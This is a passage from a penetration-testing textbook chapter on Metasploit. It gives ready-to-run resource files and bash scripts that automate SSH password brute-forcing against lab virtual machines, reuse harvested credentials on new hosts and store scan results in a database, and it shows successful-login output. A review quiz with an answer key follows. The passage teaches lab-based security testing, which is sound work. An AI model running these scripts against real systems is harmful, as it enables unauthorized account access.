  1. The first thing you’ll need to do is identify the options that you need to set. Open msfconsole in interactive mode and set the ssh_login module options, as you did in steps 1 through 4 of the Using msfconsole in interactive mode procedure.
  2. In another terminal window, use your favorite text editor to create the ssh_login.rc file in your home directory, with the following contents:
    use auxiliary/scanner/ssh/ssh_login
    set RHOSTS 192.168.56.102
    set BRUTEFORCE_SPEED 1
    set USER_FILE metasploitable_users.txt
    set PASS_FILE metasploitable_cewl_wordlist_2.txt
    set STOP_ON_SUCCESS true
    set USER_AS_PASS true
    set VERBOSE true
    run
    sessions
  3. Save the file and exit the text editor.
  4. On the terminal window with the msfconsole open, use the resource command to run the resource file, like so:
    msf > resource ssh_login.rc

Upon completion, you’ll see the list of active sessions and will be at the msf auxiliary(scanner/ssh/ssh_login) > command prompt. Instead of interacting with a session this time, type exit -y to exit msfconsole. (You’ll need to use the -y option to shut down the running session.)

  1. Now, use the msfconcole -r command to run the resource script from the Kali command prompt, like so:
    ┌──(kali㉿kali)-[~]
    └─$ msfconsole -r ssh_login.rc
  2. When the operation completes, you’ll be at the msf auxiliary(scanner/ssh/ssh_login) > command prompt and will see the list of active sessions. In real life, you would choose a session to work with, as you’ve already done in the previous exercises. For now, though, enter the exit -y command to exit the msfconsole.

The beauty of this method is that if you want to perform the same operation on a different machine or set of machines at a later date or time, you can just edit the set RHOSTS line in the resource file. That will be a lot faster than running the operation in interactive mode again. (Of course, you could also edit the other options, if desired.)

Next, let’s look at using a shell script to automate our operations.

Using msfconsole commands within a shell script

Section titled “Using msfconsole commands within a shell script”

You can use the msfconsole -x command to run a Metasploit operation from the Kali command prompt. Just surround the command that you want to run with a pair of double quotes, and separate the command components with a semicolon. Let’s look at how it’s done.

  1. To run the ssh_login operation that you ran in the previous exercise, the command will look something like this:
    ┌──(kali㉿kali)-[~]
    └─$ msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.56.102; set BRUTEFORCE_SPEED 1; set USER_FILE metasploitable_users.txt; set PASS_FILE metasploitable_cewl_wordlist_2.txt; set STOP_ON_SUCCESS true; set USER_AS_PASS true; set VERBOSE true; run; sessions"
  2. Again, this will take you to the msf auxiliary(scanner/ssh/ssh_login) > command prompt and show you the active sessions list. Instead of working with a session, just type exit -y to exit msfconsole.
  3. That’s good, but do you really want to type in all that mess every time you want to perform this operation? I thought not, so let’s put this into the ssh_login.sh script, like so:
    #!/bin/bash
    msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.56.102; set BRUTEFORCE_SPEED 1; set USER_FILE metasploitable_users.txt; set PASS_FILE metasploitable_cewl_wordlist_2.txt; set STOP_ON_SUCCESS true; set USER_AS_PASS true; set VERBOSE true; run; sessions"
  4. As always, use the chmod u+x command to make the script executable.
  5. Now, run the script to see what happens:
    ┌──(kali㉿kali)-[~]
    └─$ ./ssh_login.sh
    . . .
    . . .
    [+] 192.168.56.102:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
    [*] SSH session 1 opened (192.168.56.101:38797 -> 192.168.56.102:22) at 2025-10-20 16:33:01 -0400
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(scanner/ssh/ssh_login) >
  6. Instead of working with a session, type exit -y to exit msfconsole.
  7. All right, you’re looking good. Now though, you want to pass the IP address(es) of the target machine(s) in as a positional parameter, instead of having to edit the shell script every time you scan a different machine. Let’s do that in the ssh_login-2.sh script, which will look like this:
    #!/bin/bash
    ipaddresses=("$@")
    if [[ -z "$@" ]]; then
    echo "You need to enter at least one IP address for your target machine(s)."
    exit 1
    fi
    msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS $(echo "${ipaddresses[@]}"); set BRUTEFORCE_SPEED 1; set USER_FILE metasploitable_users.txt; set PASS_FILE metasploitable_cewl_wordlist_2.txt; set STOP_ON_SUCCESS true; set USER_AS_PASS true; set VERBOSE true; run; sessions"

So here, I’ve assigned the value of the $@ positional parameter to the ipaddresses variable array. (The $@ positional parameter allows you to enter an indefinite number of IP addresses.) For the RHOSTS option, I used the echo command within a command substitution construct to retrieve all of the IP address values from the ipaddresses variable array. The if..then stanza verifies that you’ve entered at least one IP address when you invoked the script. I also thought that you might be tired of seeing all of Metasploit’s opening messages and ASCII art, so I added the -q switch to the msfconsole command to invoke the quiet mode.

  1. Before you try running this script, boot up the Ubuntu Server virtual machine on which you created a user account for mrtux.
  2. Use the script to scan both the Metasploitable2 machine and the Ubuntu Server machine, like so:
    ┌──(kali㉿kali)-[~]
    └─$ ./ssh_login-2.sh 192.168.56.102 192.168.56.112

Upon completion, you should see one active session for the msfadmin user on the Metasploitable2 machine, and another active session for mrtux on the Ubuntu Server machine.

  1. As before, enter exit -y to exit msfconsole.
  2. Okay, you’re now thinking about how messy this script looks, and want to know if you can clean things up a bit. Well yeah, you can. Create the ssh_login-3.sh script, and make it look like this:
    #!/bin/bash
    ipaddresses=("$@")
    if [[ -z "$@" ]]; then
    echo "You need to enter at least one IP address for your target machine(s)."
    exit 1
    fi
    msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; \
    set RHOSTS $(echo "${ipaddresses[@]}"); \
    set BRUTEFORCE_SPEED 1; \
    set USER_FILE metasploitable_users.txt; \
    set PASS_FILE metasploitable_cewl_wordlist_2.txt; \
    set STOP_ON_SUCCESS true; \
    set USER_AS_PASS true; \
    set VERBOSE true; \
    run; \
    sessions"
  3. All I did here was place each component of the msfconsole -x command on its own separate line, and end each line with a backslash (\). Ending a line with a backslash tells the shell that the next line is part of the same command. I hope you’ll agree that this makes the script look a lot better.
  4. Hang on, though, because there’s yet another simple improvement that you can make. Let’s say that you want to scan multiple machines at a time, and that no users on any of the machines are using their usernames as their passwords. This means that the scan will be running for a while. This is where the THREADS option comes in handy. By setting the THREADS option to the number of machines that you’re scanning, your script can scan all of the target machines simultaneously, instead of having to scan them sequentially. But you don’t want to edit the script every time you scan a different number of machines. So, create the ssh_login-4.sh script, which will look like this:
    #!/bin/bash
    ipaddresses=("$@")
    if [[ -z "$@" ]]; then
    echo "You need to enter at least one IP address for your target machine(s)."
    exit 1
    fi
    msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; \
    set RHOSTS $(echo "${ipaddresses[@]}"); \
    set BRUTEFORCE_SPEED 1; \
    set USER_FILE metasploitable_users.txt; \
    set PASS_FILE metasploitable_cewl_wordlist_2.txt; \
    set STOP_ON_SUCCESS true; \
    set THREADS $(echo "${#ipaddresses[@]}"); \
    set USER_AS_PASS false; \
    set VERBOSE true; \
    run; \
    sessions"

In the set THREADS line, you see that I again used a command substitution construct, with a # at the front end of the variable array name, to echo the number of elements in the ipaddresses variable array. So, if I enter two IP addresses when I invoke the script, the THREADS value will be set to 2. If I enter three IP addresses, the THREADS value will be set to 3, and so forth. (Pretty slick, eh?) And of course, to simulate that there are no users who use their usernames as their passwords, I set the USER_AS_PASS value to false.

Now that you’ve seen the basic usage of Metasploit Framework, let’s talk about using it with a database.

Using Metasploit with the PostgreSQL database

Section titled “Using Metasploit with the PostgreSQL database”

Now, here’s an important point. Metasploit can use a PostgreSQL database to store its testing results. I mean, you might not always want to use the database, but there will be times when using a database will make things a bit easier. This is because the results from one step of your Metasploit testing, which are stored in the database, can either be used in the next step or for later research. The only catch is that by default, the postgresql service is disabled on your Kali machine. Whenever you want to use the database, you’ll need to start the postgresql service. Do it like this:

┌──(kali㉿kali)-[~]
└─$ sudo systemctl start postgresql

Now, verify its status:

┌──(kali㉿kali)-[~]
└─$ systemctl status postgresql
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/usr/lib/systemd/system/postgresql.service; enabled; preset: disabled)
Active: active (exited) since Thu 2025-10-16 13:56:17 EDT; 9min ago
. . .
. . .

It says that postgresql.service is loaded and active, so we’re all good.

Using the database with multiple target hosts

Section titled “Using the database with multiple target hosts”

In this exercise, you’ll verify the database status, create a database workspace, and add data about the target machines to this database workspace.

  1. First, verify the database status, like so:
    msf > db_status
    [*] Connected to msf. Connection type: postgresql.
    msf >
  2. If you work with a lot of different penetration testing projects, things can get a bit jumbled up and hard to find if you dump all of your testing results into just one place. You can solve that problem by creating a workspace for each of your projects. To see what workspaces have already been created, just use the workspace command, like this:
    msf > workspace
    * default
    msf >
  3. All we have so far is just the default workspace. Let’s add another workspace for our current pen testing project, like so:
    msf > workspace -a pentesting_1
    [*] Added workspace: pentesting_1
    [*] Workspace: pentesting_1
    msf > workspace
    default
    * pentesting_1
    msf >

The asterisk in front of the pentesting_1 line means that we’re now using the new workspace.

  1. Next, use the db_nmap command to scan the Metasploitable2 machine and the Ubuntu Server machine, and store the results in the database, like this:
    msf > db_nmap -A --script=vulners.nse -p 1-65535 192.168.56.102 192.168.56.112

The nice part about this is that db_nmap uses the same options as the normal nmap and shows you the same information. The difference is that db_nmap stores its results in the PostgreSQL database. Here, we’re using the -A option for nmap, because we need information about the versions of the running services on the target machine in order to obtain information about potential vulnerabilities. By default, nmap scans the 1,000 most-used network ports on a target machine. In this case, we’re using the -p 1-65535 option to make nmap scan all ports. This is because we want to see if any services are running on ports that nmap doesn’t normally scan. We also want to know if any potential vulnerabilities exist on the target machines, so we’re using the --script= option to execute the vulners.nse script. When the scan completes, you’ll see information about the potential vulnerabilities that the script found for the various network services, along with their reference identifiers, such as CVE numbers.

  1. Use the hosts command to show the target hosts that have been added to the database:

Figure 8.3 – View the hosts that have been added to the database

Figure 8.3 – View the hosts that have been added to the database

  1. Use hosts with the -c option to see only certain columns of output, like this:
    msf > hosts -c address,os_name
    Hosts
    =====
    address os_name
    ------- -------
    192.168.56.102 Linux
    192.168.56.112 Linux
    msf >
  2. Use the services command to view the running services on the target hosts:
    msf > services
    Services
    ========
    host port proto name state info
    ---- ---- ----- ---- ----- ----
    192.168.56.102 21 tcp ftp open vsftpd 2.3.4
    192.168.56.102 22 tcp ssh open OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
    192.168.56.102 23 tcp telnet open Linux telnetd
    192.168.56.102 25 tcp smtp open Postfix smtpd
    192.168.56.102 53 tcp domain open ISC BIND 9.4.2
    192.168.56.102 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
    192.168.56.102 111 tcp rpcbind open 2 RPC #100000
    192.168.56.102 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP
    192.168.56.102 445 tcp netbios-ssn open Samba smbd 3.0.20-Debian workgroup: WORKGROUP
    192.168.56.102 512 tcp exec open netkit-rsh rexecd
    192.168.56.102 513 tcp login open OpenBSD or Solaris rlogind
    192.168.56.102 514 tcp shell open Netkit rshd
    192.168.56.102 1099 tcp java-rmi open GNU Classpath grmiregistry
    192.168.56.102 1524 tcp bindshell open Metasploitable root shell
    192.168.56.102 2049 tcp nfs open 2-4 RPC #100003
    192.168.56.102 2121 tcp ftp open ProFTPD 1.3.1
    192.168.56.102 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5
    192.168.56.102 3632 tcp open
    192.168.56.102 5432 tcp postgresql open PostgreSQL DB 8.3.0 – 8.3.7
    192.168.56.102 5900 tcp vnc open VNC protocol 3.3
    192.168.56.102 6000 tcp x11 open access denied
    192.168.56.102 6667 tcp irc open UnrealIRCd
    192.168.56.102 6697 tcp open
    192.168.56.102 8009 tcp ajp13 open Apache Jserv Protocol v1.3
    192.168.56.102 8180 tcp http open Apache Tomcat/Coyote JSP engine 1.1
    192.168.56.102 8787 tcp open
    192.168.56.112 21 tcp ftp open vsftpd 3.0.5
    192.168.56.112 22 tcp ssh open OpenSSH 9.9p1 Ubuntu 3ubuntu3.1 Ubuntu Linux; protocol 2.0
    msf >
  3. Use the vulns command to see reference information about the detected vulnerabilities. (Note that I had to cut off the References column in order to get a clear screenshot.) You can use this information later for researching vulnerabilities that you might be able to exploit:

Figure 8.4 – View vulnerability information

Figure 8.4 – View vulnerability information

  1. Now, choose a scanning module to use. Let’s say that we want to use a Metasploit module, instead of nmap, to perform a TCP port scan on the target machine. Choose the auxiliary/scanner/portscan/tcp module, like so:
    msf > use auxiliary/scanner/portscan/tcp
  2. View the options that you can set for this module:

Figure 8.5 – View the module options

Figure 8.5 – View the module options

(Note that I had to cut off part of the Description field in order to get a clear screenshot.)

  1. All of the options are listed as Required, and the RHOSTS option is the only one that isn’t already populated with a value. Instead of setting the value of RHOSTS by hand this time, use the hosts -R command to pull that value from the database, like so:

Figure 8.6 – Setting the RHOSTS value from the database

Figure 8.6 – Setting the RHOSTS value from the database

  1. Use the run command to run the scan:
    msf auxiliary(scanner/portscan/tcp) > run
    [+] 192.168.56.102 - 192.168.56.102:21 - TCP OPEN
    [+] 192.168.56.102 - 192.168.56.102:22 - TCP OPEN
    [+] 192.168.56.102 - 192.168.56.102:23 - TCP OPEN
    [+] 192.168.56.102 - 192.168.56.102:25 - TCP OPEN
    [+] 192.168.56.102 - 192.168.56.102:53 - TCP OPEN
    . . .
    . . .
    [+] 192.168.56.102 - 192.168.56.102:8180 - TCP OPEN
    [+] 192.168.56.102 - 192.168.56.102:8787 - TCP OPEN
    [*] Scanned 1 of 2 hosts (50% complete)
    [+] 192.168.56.112 - 192.168.56.112:21 - TCP OPEN
    [+] 192.168.56.112 - 192.168.56.112:22 - TCP OPEN
    [*] Scanned 1 of 2 hosts (50% complete)
    [*] Scanned 1 of 2 hosts (50% complete)
    [*] Scanned 1 of 2 hosts (50% complete)
    [*] Scanned 1 of 2 hosts (50% complete)
    [*] Scanned 2 of 2 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(scanner/portscan/tcp) >

Unlike the nmap scan that we just did, this Metasploit module only shows you which TCP ports are open on the target host, without showing any additional information. That’s okay, because in some cases that might be all you’ll need to see.

  1. We no longer need this scan module, so use the back command to exit from it:
    msf auxiliary(scanner/portscan/tcp) > back
    msf >
  2. You can also use the hosts -R trick to set the RHOSTS option for other modules, as you see here with the ssh_login module:

Figure 8.7 – Setting RHOSTS for ssh_login

Figure 8.7 – Setting RHOSTS for ssh_login

  1. Of course, you’ll still need to set the other ssh_login options yourself, but you’ve already seen how that’s done. Go ahead and set the options as you’ve done for the Using msfconsole in interactive mode procedure. Then, run the module, as you’ve done before.
  2. Upon completion of this run, you’ll see that any login credentials that ssh_login finds will be added to the database. Use the creds command to view them:

Figure 8.8 – Viewing stored login credentials

Figure 8.8 – Viewing stored login credentials

  1. Let’s say that for now, you’ve finished your pentesting session. Type exit -y to exit msfconsole.
  2. Now, let’s say that you’ve discovered another machine on the target network, and you want to do a quick scan to see if any of the login credentials that you’ve already found will work on it. Simulate this by booting up your second Ubuntu Server virtual machine and noting its IP address.
  3. On the Kali machine, open msfconsole again and run the workspace pentesting_1 command to choose the correct workspace.
  4. Choose the ssh_login module by running the use auxiliary/scanner/ssh/ssh_login command.
  5. Set the RHOSTS value to the IP address of the second Ubuntu Server machine that you’ve just booted up. Set the VERBOSE and the DB_ALL_CREDS values to true, and set the BRUTEFORCE_SPEED value to 1. You won’t need to specify either a password list or a user list this time, because the DB_ALL_CREDS option will pull the user credentials from the database.
  6. Run the module, and you’ll see that the mrtux account is found almost immediately, and that a new session has been opened.
  7. You’re done for now, so type exit -y to exit msfconsole.

Next, let’s see if we can create some cool shell scripts that will work with the database.

You can use the workspace -a command within a shell script to either create or choose a workspace. If the workspace that you specify doesn’t exist, it will be created. If it already exists, it will be chosen. So, there’s no danger that workspace -a will cause you to lose data by destroying an existing workspace. Let’s see how that’s done.

  1. Ensure that the postresql service is running by doing:
    ┌──(kali㉿kali)-[~]
    └─$ sudo systemctl start postgresql
  2. Create the db_nmap-1.sh script, like this:
    #!/bin/bash
    ipaddresses=("$@")
    if [[ -z "$@" ]]; then
    echo "You need to enter at least one IP address for your target machine(s)."
    exit 1
    fi
    msfconsole -q -x "workspace -a pentesting_2; \
    db_nmap -A --script=vulners $(echo "${ipaddresses[@]}"); \
    hosts; \
    services; \
    vulns; \
    exit"

I’ve already covered the concepts for this script in the Using msfconsole commands from within a shell script exercise, so I won’t go over them again. Also, I left out the -p 1-65535 option from the db_nmap command this time, but you can add it back in if you want to scan every port on the target machine.

  1. Do chmod u+x db_nmap-1.sh to make it executable, and then run it.
  2. Now, let’s fancy things up a bit by combining the nmap scan with the ssh_login scan. Create the db_nmap-2.sh script, and make it look like this:
    #!/bin/bash
    ipaddresses=("$@")
    if [[ -z "$@" ]]; then
    echo "You need to enter at least one IP address for your target machine(s)."
    exit 1
    fi
    echo "${#ipaddresses[@]}"
    msfconsole -q -x "workspace -a pentesting_2; \
    db_nmap -A --script=vulners $(echo "${ipaddresses[@]}"); \
    use auxiliary/scanner/ssh/ssh_login; \
    set RHOSTS $(echo "${ipaddresses[@]}"); \
    set BRUTEFORCE_SPEED 1; \
    set USER_FILE metasploitable_users.txt; \
    set PASS_FILE metasploitable_cewl_wordlist_2.txt; \
    set STOP_ON_SUCCESS true; \
    set THREADS $(echo "${#ipaddresses[@]}"); \
    set USER_AS_PASS true; \
    set VERBOSE true; \
    run; \
    back; \
    hosts; \
    creds; \
    sessions"

So far, you’ve been scanning the same two virtual machines with each of these scripts. I should point out, though, that if you scan another machine that you haven’t scanned yet, its information will get added to the workspace that you’re currently using.

  1. For our final trick, let’s say that you want to do an ssh_login scan on some machines that you haven’t scanned before, but you want to try the login credentials that you’ve already found on other machines. To do that, create the ssh_login-5.sh script, like this:
    #!/bin/bash
    ipaddresses=("$@")
    if [[ -z "$@" ]]; then
    echo "You need to enter at least one IP address for your target machine(s)."
    exit 1
    fi
    msfconsole -q -x "workspace pentesting_2; \
    use auxiliary/scanner/ssh/ssh_login; \
    set RHOSTS $(echo "${ipaddresses[@]}"); \
    set BRUTEFORCE_SPEED 1; \
    set DB_ALL_CREDS true; \
    set STOP_ON_SUCCESS true; \
    set THREADS $(echo "${#ipaddresses[@]}"); \
    set USER_AS_PASS false; \
    set VERBOSE true; \
    run; \
    sessions"
  2. Run this script against another virtual machine on which you’ve created the mrtux account, and you should see near-instantaneous results.

Okay, I think that this should give you a pretty good introduction to the mysteries of Metasploit. So, let’s go ahead and summarize.

You’ve completed yet another chapter and have seen lots of cool stuff. First, you saw the various ways to use the Metasploit framework, which include interactive mode from within the msfconsole, using a resource file, and using msfconsole -x commands from within shell scripts. You also saw various examples of using all of these techniques. After that, you saw how to use a PostgreSQL database to save the results of your testing, and to reuse those results for later tests. Along the way, you saw some cool shell scripting concepts that you can use in your own scripts. And, in the Escalating privileges with Meterpreter exercise, you saw how to troubleshoot an exploit that wouldn’t work, when I accidentally used the wrong payload.

Ensuring security for wireless networks and devices is extremely important, especially now that there are so many wireless devices on the Internet of Things. In the next chapter, you’ll see how to use Kali tools—such as Kismet and Wifite—to enumerate, test, and compromise wireless networks. I’ll see you there.

  1. Which scripting language is used to create Metasploit modules?
    1. Python 2. Perl 3. GW-BASIC 4. Ruby 5. Rexx
  2. When using Metasploit with a database, which of the following statements is true about the workspace -a command?
    1. It will create a new workspace and use it if the workspace you specify doesn’t exist, and will choose the workspace that you specify if it already exists. 2. It will create a new workspace, but you’ll need to choose to use it in a separate step. 3. If the workspace that you specify already exists, the workspace -a command will overwrite that workspace. 4. There’s no such command.
  3. Which of the following statements is true about Meterpreter?
    1. It’s much more useful for Windows targets than it is for Linux targets. 2. It’s equally as useful for Linux targets as it is for Windows targets. 3. It’s not all that useful in any case. 4. It’s much more useful for Linux targets than it is for Windows targets.
  4. Which two of the following are methods for using a Metasploit resource file? (Choose two.)
    1. From within the msfconsole, use the set RESOURCE_FILE option. 2. From within the msfconsole, use the resource command, followed by the name of the resource file that you want to use. 3. From the Kali command prompt, use the msfconsole -x command, followed by the name of the resource file that you want to use. 4. From the Kali command prompt, use the msfconsole -r command, followed by the name of the resource file that you want to use.
  5. Which of the following is not a Metasploit module type?
    1. Auxiliary 2. Post 3. Exploits 4. Payloads 5. Decoders

1. d

2. a

3. a

4. b and d

5. e